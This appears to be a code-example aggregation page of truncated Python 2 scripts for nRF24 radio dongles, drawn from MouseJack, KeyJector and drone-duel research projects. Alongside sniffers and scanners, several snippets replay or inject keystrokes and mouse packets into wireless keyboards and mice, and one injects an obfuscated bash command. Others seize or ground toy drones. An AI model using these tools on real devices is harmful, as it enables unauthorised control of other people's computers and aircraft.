コード例 #1
0
import time, logging, json, sys, signal
from lib import common


def handler(signal_num, frame):
    print("\nPressed Ctrl-C.\nReplay attack stop!")
    sys.exit(signal_num)


signal.signal(signal.SIGINT, handler)

common.init_args('./nrf24-relpay.py')
common.parser.add_argument('-f',
                           '--json_file',
                           type=str,
                           help='Load dump file',
                           required=True)
common.parser.add_argument(
    '-k',
    '--ack_timeout',
    type=int,
    help='ACK timeout in microseconds, accepts [250,4000], step 250',
    default=500)
common.parser.add_argument('-r',
                           '--retries',
                           type=int,
                           help='Auto retry limit, accepts [0,15]',
                           default='5',
                           choices=xrange(0, 16),
                           metavar='RETRIES')
common.parser.add_argument('-p',
コード例 #2
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import time, logging, sys
sys.path.append('../nrf-research-firmware/tools')
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./ge-device-discovery.py')
common.parser.add_argument('-d',
                           '--dwell',
                           type=float,
                           help='Dwell time per channel, in milliseconds',
                           default='200')
common.parse_and_init()

# Put the radio in promiscuous mode
common.radio.enter_promiscuous_mode_generic("\x33\x33\x33\x30",
                                            common.RF_RATE_1M, 32)

# Set the channels to {18..63..3}
common.channels = range(18, 63 + 1, 3)

# Convert dwell time from milliseconds to seconds
コード例 #3
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''


import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-network-mapper.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-p', '--passes', type=str, help='Number of passes (default 2)', default=2)
common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500)
common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES')
common.parse_and_init()

# Parse the address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
if len(address) < 2: 
  raise Exception('Invalid address: {0}'.format(common.args.address))

# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
コード例 #4
0
#!/usr/bin/env python2
'''
Author: xswxm
Blog: xswxm.com

This script will measure the successful pings per seconds.
e.g.: sudo python ping.py -l -a 61:8E:9C:CD:03 -f 74 -t 0 -r 0

'''
import sys, time, threading
from lib import common
common.init_args('./ping.py')
common.parser.add_argument(
    '-a',
    '--address',
    type=str,
    help='Address to sniff, following as it changes channels',
    required=True)
common.parser.add_argument('-f',
                           '--channel',
                           type=int,
                           help='RF channel',
                           default=0)
common.parse_and_init()

channel = common.args.channel
# Total number of payloads sent
count = 0

# Parse the prefix address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
コード例 #5
0
#!/usr/bin/env python2
'''
Author: xswxm
Blog: xswxm.com

Send payloads 1,2,3,4,5,6,7,8,9,0 to Amazonbasics MG0975 dongle continuously
e.g.: sudo python exp_attacker.py -l -a 61:8E:9C:CD:03 -f 74 -n 200

'''
import logging, time
from lib import common
common.init_args('./exp_attacker.py')
common.parser.add_argument('-a', '--address', type=str, help='Address to sniff, following as it changes channels', required=True)
common.parser.add_argument('-f', '--channel', type=int, help='RF channel', default=0)
common.parser.add_argument('-n', '--times', type=int, help='Replay times', default=0)
common.parse_and_init()

channel = common.args.channel
n = common.args.times

# 0x27 represents 'a' in this case
p = 0x27

# Parse the prefix address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
# Set channel
common.radio.set_channel(channel)

コード例 #6
0
def main():
    global x, y, running

    mouse_th = threading.Thread(target=read_mouse_file, args=())
    mouse_th.start()
    #  # Start keyboard listener
    #  listener = Listener(
    #        on_press=on_press,
    #        on_release=on_release)
    #
    #  listener.start()
    # Keep alive payload 00:40:01:18:A7
    # Parse command line arguments and initialize the radio
    common.init_args('./nrf24-sniffer.py')
    common.parser.add_argument(
        '-a',
        '--address',
        type=str,
        help='Address to sniff, following as it changes channels',
        required=True)
    common.parser.add_argument('-t',
                               '--timeout',
                               type=float,
                               help='Channel timeout, in milliseconds',
                               default=100)
    common.parser.add_argument(
        '-k',
        '--ack_timeout',
        type=int,
        help='ACK timeout in microseconds, accepts [250,4000], step 250',
        default=250)
    common.parser.add_argument('-r',
                               '--retries',
                               type=int,
                               help='Auto retry limit, accepts [0,15]',
                               default=1,
                               choices=xrange(0, 16),
                               metavar='RETRIES')
    common.parser.add_argument('-p',
                               '--ping_payload',
                               type=str,
                               help='Ping payload, ex 0F:0F:0F:0F',
                               default='00:40:01:18:A7',
                               metavar='PING_PAYLOAD')
    common.parse_and_init()

    # Parse the address
    address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
    address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
    if len(address) < 2:
        raise Exception('Invalid address: {0}'.format(common.args.address))

    # Put the radio in sniffer mode (ESB w/o auto ACKs)
    common.radio.enter_sniffer_mode(address)

    # Convert channel timeout from milliseconds to seconds
    timeout = float(common.args.timeout) / float(1000)
    print('Payload')
    print(common.args.ping_payload)

    # Parse the ping payload
    ping_payload = common.args.ping_payload.replace(':', '').decode('hex')

    # Format the ACK timeout and auto retry values
    ack_timeout = int(common.args.ack_timeout / 250) - 1
    ack_timeout = max(0, min(ack_timeout, 15))
    retries = max(0, min(common.args.retries, 15))

    # Sweep through the channels and decode ESB packets in pseudo-promiscuous mode
    last_ping = time.time()
    channel_index = 0
    while running:

        # Follow the target device if it changes channels
        if time.time() - last_ping > timeout:

            # First try pinging on the active channel
            if not common.radio.transmit_payload(ping_payload, ack_timeout,
                                                 retries):

                # Ping failed on the active channel, so sweep through all available channels
                success = False
                for channel_index in range(len(common.channels)):
                    common.radio.set_channel(common.channels[channel_index])
                    if common.radio.transmit_payload(ping_payload, ack_timeout,
                                                     retries):

                        # Ping successful, exit out of the ping sweep
                        last_ping = time.time()
                        logging.debug('Ping success on channel {0}'.format(
                            common.channels[channel_index]))
                        success = True
                        break

                # Ping sweep failed
                if not success:
                    logging.debug('Unable to ping {0}'.format(address_string))

            # Ping succeeded on the active channel
            else:
                logging.debug('Ping success on channel {0}'.format(
                    common.channels[channel_index]))
                last_ping = time.time()

        # Try to send mouse packets if arrow keys has been pressed
        #if x != 0 or y != 0:
        if not q.empty():
            val = struct.unpack('3b', q.get())
            x = val[1]
            y = val[2]
            mouse_payload = build_payload(0, x, y, 0, 0)
            print(mouse_payload)
            common.radio.transmit_payload(mouse_payload.decode('hex'),
                                          ack_timeout, retries)

        # Receive payloads
        value = common.radio.receive_payload()
        if value[0] == 0:

            # Reset the channel timer
            last_ping = time.time()

            # Split the payload from the status byte
            payload = value[1:]

            # Log the packet
            logging.info('{0: >2}  {1: >2}  {2}  {3}'.format(
                common.channels[channel_index], len(payload), address_string,
                ':'.join('{:02X}'.format(b) for b in payload)))

        # End of main loop

    listener.stop()
コード例 #7
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''


import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-sniffer.py')
common.parser.add_argument('-a', '--address', type=str, help='Address to sniff, following as it changes channels', required=True)
common.parser.add_argument('-t', '--timeout', type=float, help='Channel timeout, in milliseconds', default=100)
common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=250)
common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default=1, choices=xrange(0, 16), metavar='RETRIES')
common.parse_and_init()

# Parse the address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
if len(address) < 2: 
  raise Exception('Invalid address: {0}'.format(common.args.address))

# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
コード例 #8
0
ファイル: r500-injector.py プロジェクト: pirenga/keyjector
#!/usr/bin/env python2

import time, logging, crcmod, struct
from lib import common
from protocols import *

# Parse command line arguments and initialize the radio
common.init_args('./r500-injector.py')
common.parser.add_argument('-a', '--address', type=str, help='Target address')
common.parse_and_init()

# Parse the address
address = ''
if common.args.address is not None:
  address = common.args.address.replace(':', '').decode('hex')[::-1]
  address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])

# Initialize the target protocol
if len(address) != 5:
  raise Exception('Invalid address: {0}'.format(common.args.address))  
p = Logitech(address, encrypted=True)

# Initialize the injector instance
i = Injector(p)

# Inject "ping google.com" into bash
i.start_injection()
i.inject_string("$'\\160\\151\\156\\147' $'\\147\\157\\157\\147\\154\\145\\056\\143\\157\\155'")
i.send_enter()
i.stop_injection()
コード例 #9
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import time, logging, sys
sys.path.append('../nrf-research-firmware/tools')
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./ge-device-discovery.py')
common.parser.add_argument('-d', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='200')
common.parse_and_init()

# Put the radio in promiscuous mode
common.radio.enter_promiscuous_mode_generic("\x33\x33\x33\x30", common.RF_RATE_1M, 32)

# Set the channels to {18..63..3}
common.channels = range(18, 63+1, 3)

# Convert dwell time from milliseconds to seconds
dwell_time = common.args.dwell / 1000

# Set the initial channel
common.radio.set_channel(common.channels[0])
コード例 #10
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import time, logging, sys
sys.path.append('../nrf-research-firmware/tools')
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./mosart-device-discovery.py')
common.parser.add_argument('-d', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='200')
common.parse_and_init()

# Put the radio in promiscuous mode
common.radio.enter_promiscuous_mode_generic("\xAA\xAA\xAA", common.RF_RATE_1M)

# Set the channels to {2..84..2}
common.channels = range(2, 84, 2)

# Convert dwell time from milliseconds to seconds
dwell_time = common.args.dwell / 1000

# Set the initial channel
common.radio.set_channel(common.channels[0])
コード例 #11
0
ファイル: keyjector.py プロジェクト: pirenga/keyjector
        """| +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n"""
        """| |   | | |   | | |   | | |   | | |   | | |   | | |   | | |   | | |   | |\n"""
        """| |K  | | |e  | | |y  | | |J  | | |e  | | |c  | | |t  | | |o  | | |r  | |\n"""
        """| +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n"""
        """|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|\n"""
        """KeyJector v{0} by Matthias Deeg - SySS GmbH\n"""
        """Based on different tools by Marc Newlin""".format(__version__))


# main program
if __name__ == '__main__':
    # show banner
    banner()

    # Parse command line arguments and initialize the radio
    common.init_args('./keyjector.py')
    common.parser.add_argument('-a',
                               '--address',
                               type=str,
                               help='Target address')
    common.parser.add_argument('-f',
                               '--family',
                               required=True,
                               type=Protocols,
                               choices=list(Protocols),
                               help='Protocol family')
    common.parse_and_init()

    # Parse the address
    address = ''
    if common.args.address is not None:
コード例 #12
0
import time, logging, json, sys, signal
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-dump.py')
common.parser.add_argument(
    '-a',
    '--address',
    type=str,
    help='Address to sniff, following as it changes channels',
    required=True)
common.parser.add_argument('-t',
                           '--timeout',
                           type=float,
                           help='Channel timeout, in milliseconds',
                           default=100)
common.parser.add_argument(
    '-k',
    '--ack_timeout',
    type=int,
    help='ACK timeout in microseconds, accepts [250,4000], step 250',
    default=250)
common.parser.add_argument('-r',
                           '--retries',
                           type=int,
                           help='Auto retry limit, accepts [0,15]',
                           default=1,
                           choices=xrange(0, 16),
                           metavar='RETRIES')
common.parser.add_argument('-p',
                           '--ping_payload',
コード例 #13
0
Author: xswxm
Blog: xswxm.com

This script is used to search device/dongle's channels.

HOW TO DETECT A DEVICE'S CHANNELS
1. Use general steps to discover the its mac address;
2. Keep the USB dongle pluged-in and turn the mouse/keyboard off;
3. Run this script to ping each channels for few seconds.

e.g.: sudo python search_channels.py -l -a 61:8E:9C:CD:03

'''
import sys
from lib import common
common.init_args('./search_channels.py')
common.parser.add_argument(
    '-a',
    '--address',
    type=str,
    help='Address to sniff, following as it changes channels',
    required=True)
common.parse_and_init()

channels = []

# Parse the prefix address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
コード例 #14
0
                    channel_index = 0
                    hop_channels = pkt.calc_channels()
                    common.radio.set_channel(hop_channels[channel_index])
                    while time.time() - t0 < drop_time:
                        t1 = time.time()
                        while time.time() - t1 < 3e-3:
                            common.radio.transmit_payload_generic(
                                # address is tone
                                pkt_out, address='\xFF\xFF\xFF\xFF\xFF')
                        channel_index += 1
                        channel_index %= 4
                        common.radio.set_channel(hop_channels[channel_index])
                    print 'lock done.', map(hex, pkt.cid), map(hex, pkt.vid)
                else:
                    print 'bad crc', pkt.cid, pkt.vid


# Init command line args
common.init_args('./rain-from-the-sky.py')
common.parse_and_init()

# Put the radio in promiscuous mode (generic)
common.radio.enter_promiscuous_mode_generic('\x71\x0F\x55', common.RF_RATE_1M)

# Tune to 2402 MHz
common.radio.set_channel(2)

while True:
    # loop through all the channels in the first block and drop everything seen
    rain_from_the_sky()
コード例 #15
0
import time, logging
from lib import common
import random

common.init_args('./replay.py')
common.parser.add_argument('-a',
                           '--address',
                           type=str,
                           help='Known address',
                           required=True)
common.parser.add_argument('-d',
                           '--payloads',
                           type=str,
                           nargs='+',
                           help='Need replay payloads',
                           required=True,
                           metavar='S')

common.parse_and_init()

address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])

if len(address) < 2:
    raise Exception('Invalid address: {0}'.format(common.args.address))

common.radio.enter_sniffer_mode(address)


def replay():
    payloads = common.args.payloads
コード例 #16
0
                    logging.debug('CRC Failure')
                    state = SEARCHING
                    continue

                # Pairing is complete
                elif rx_packet.aileron == 1:
                    time.sleep(0.25)
                    logging.debug('Paired')
                    state = PAIRED
                    break

    logging.info("Done Pairing")
    return vid


# Init command line args
common.init_args('./fly-fly-away.py')
common.parse_and_init()

# Put the radio in promiscuous mode (generic)
common.radio.enter_promiscuous_mode_generic('\x71\x0F\x55', common.RF_RATE_1M)

# Tune to 2402 MHz
common.radio.set_channel(2)

# Pair to a drone
vid = pair_drone()

# Fly, fly away!
fly_fly_away(vid)
コード例 #17
0
  This program is free software: you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation, either version 3 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-continuous-tone-test.py')
common.parse_and_init()

# Set the initial channel
common.radio.set_channel(common.channels[0])

# Put the radio in continuous tone test mode
common.radio.enter_tone_test_mode()

# Run indefinitely
while True:
    pass
コード例 #18
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''


import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-scanner.py')
common.parser.add_argument('-p', '--prefix', type=str, help='Promiscuous mode address prefix', default='')
common.parser.add_argument('-d', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='100')
common.parse_and_init()

# Parse the prefix addresses
prefix_address = common.args.prefix.replace(':', '').decode('hex')
if len(prefix_address) > 5:
  raise Exception('Invalid prefix address: {0}'.format(args.address))

# Put the radio in promiscuous mode
common.radio.enter_promiscuous_mode(prefix_address)

# Convert dwell time from milliseconds to seconds
dwell_time = common.args.dwell / 1000
コード例 #19
0
  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''


import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-network-mapper.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500)
common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES')
common.parser.add_argument('-p', '--ping_payload', type=str, help='Ping payload, ex 0F:0F:0F:0F', default='0F:0F:0F:0F', metavar='PING_PAYLOAD')
common.parse_and_init()

# Parse the address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
if len(address) < 2: 
  raise Exception('Invalid address: {0}'.format(common.args.address))

# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)
コード例 #20
0
#!/usr/bin/env python
'''
Code to replay wireless mouse and keyboard packets
'''
import binascii, time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-network-replay.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-i', '--input_file', type=str, help='file containing the captured packets', required=True)
common.parser.add_argument('-t', '--timeout', type=float, help='Channel timeout, in milliseconds', default=100)
common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500)
common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES')
common.parse_and_init()

# Parse the address
address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
if len(address) < 2: 
  raise Exception('Invalid address: {0}'.format(common.args.address))

# Put the radio in sniffer mode (ESB w/o auto ACKs)
common.radio.enter_sniffer_mode(address)

# Convert channel timeout from milliseconds to seconds
timeout = float(common.args.timeout) / float(1000)

#file containing the captured packets
input_file = common.args.input_file
コード例 #21
0
ファイル: nrf24-sniffer.py プロジェクト: zky001/mousejack
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-sniffer.py')
common.parser.add_argument(
    '-a',
    '--address',
    type=str,
    help='Address to sniff, following as it changes channels',
    required=True)
common.parser.add_argument('-t',
                           '--timeout',
                           type=float,
                           help='Channel timeout, in milliseconds',
                           default=100)
common.parser.add_argument(
    '-k',
    '--ack_timeout',
    type=int,
コード例 #22
0
ファイル: app.py プロジェクト: xswxm/nrf24-injection
#!/usr/bin/env python2
'''
Author: xswxm
Blog: xswxm.com

Main entrance for our nrf24-injection scripts.

This script can do the following tasks:
1. Search and analyze 2.4Ghz mice/keyboards;
2. Sniff payloads;
3. Launch attack, including keystroke injections.
'''

from lib import common
common.init_args('./app.py')
common.parser.add_argument('-e', '--channel_time', type=int, help='Time in milliseconds for keeping scanning on the channel where a new device was discovered', default=8)
common.parser.add_argument('-s', '--strict_match', action='store_true', help='Verify device with more strict rules', default=False)
common.parse_and_init()

import curses
from array import array
from utils.player import Player
from utils.messager import Messager
from utils import display
from utils import config

display.init()
task = 'scan'
selection = None      # Selection
config.channel_time = common.args.channel_time
config.strict_match = common.args.strict_match
コード例 #23
0
#!/usr/bin/env python2

import time, logging, crcmod, struct
from lib import common
from protocols import *

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-scanner.py')
common.parser.add_argument('-p',
                           '--prefix',
                           type=str,
                           help='Promiscuous mode address prefix',
                           default='')
common.parser.add_argument('-t',
                           '--dwell',
                           type=float,
                           help='Dwell time per channel, in milliseconds',
                           default='100')
common.parser.add_argument('-d',
                           '--data_rate',
                           type=str,
                           help='Data rate (accepts [250K, 1M, 2M])',
                           default='2M',
                           choices=["250K", "1M", "2M"],
                           metavar='RATE')
common.parser.add_argument('-f',
                           '--family',
                           required=True,
                           type=Protocols,
                           choices=list(Protocols),
                           help='Protocol family')
コード例 #24
0

def banner():
    """Show a fancy banner"""

    print("Wireless Input Device Scanner v{0} by Matthias Deeg - SySS GmbH (c) 2019\n"
          "Based on preso-scanner.py by Marc Newlin".format(__version__))


# main program
if __name__ == '__main__':
    # show banner
    banner()

    # Parse command line arguments and initialize the radio
    common.init_args('./device-scanner.py')
    common.parser.add_argument('-p', '--prefix', type=str, help='Promiscuous mode address prefix', default='')
    common.parser.add_argument('-t', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='100')
    common.parser.add_argument('-d', '--data_rate', type=str, help='Data rate (accepts [250K, 1M, 2M])', default='2M', choices=["250K", "1M", "2M"], metavar='RATE')
    common.parser.add_argument('-f', '--family', required=True, type=Protocols, choices=list(Protocols), help='Protocol family')
    common.parse_and_init()

    # Initialize the target protocol
    if common.args.family is Protocols.HS304:
        p = HS304()
    else:
        raise Exception("Protocol does not support sniffer/scanner: {}"
                        .format(common.args.family))

    # Start device discovery
    p.start_discovery()
コード例 #25
0
ファイル: fly-fly-away.py プロジェクト: marcnewlin/drone-duel
                    logging.debug('CRC Failure')
                    state = SEARCHING
                    continue

                # Pairing is complete
                elif rx_packet.aileron == 1:
                    time.sleep(0.25)
                    logging.debug('Paired')
                    state = PAIRED
                    break

    logging.info("Done Pairing")
    return vid


# Init command line args
common.init_args('./fly-fly-away.py')
common.parse_and_init()

# Put the radio in promiscuous mode (generic)
common.radio.enter_promiscuous_mode_generic('\x71\x0F\x55', common.RF_RATE_1M)

# Tune to 2402 MHz
common.radio.set_channel(2)

# Pair to a drone
vid = pair_drone()

# Fly, fly away!
fly_fly_away(vid)
  the Free Software Foundation, either version 3 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''


import time, logging
from lib import common

# Parse command line arguments and initialize the radio
common.init_args('./nrf24-continuous-tone-test.py')
common.parse_and_init()

# Set the initial channel
common.radio.set_channel(common.channels[0])

# Put the radio in continuous tone test mode
common.radio.enter_tone_test_mode()

# Run indefinitely
while True:
  pass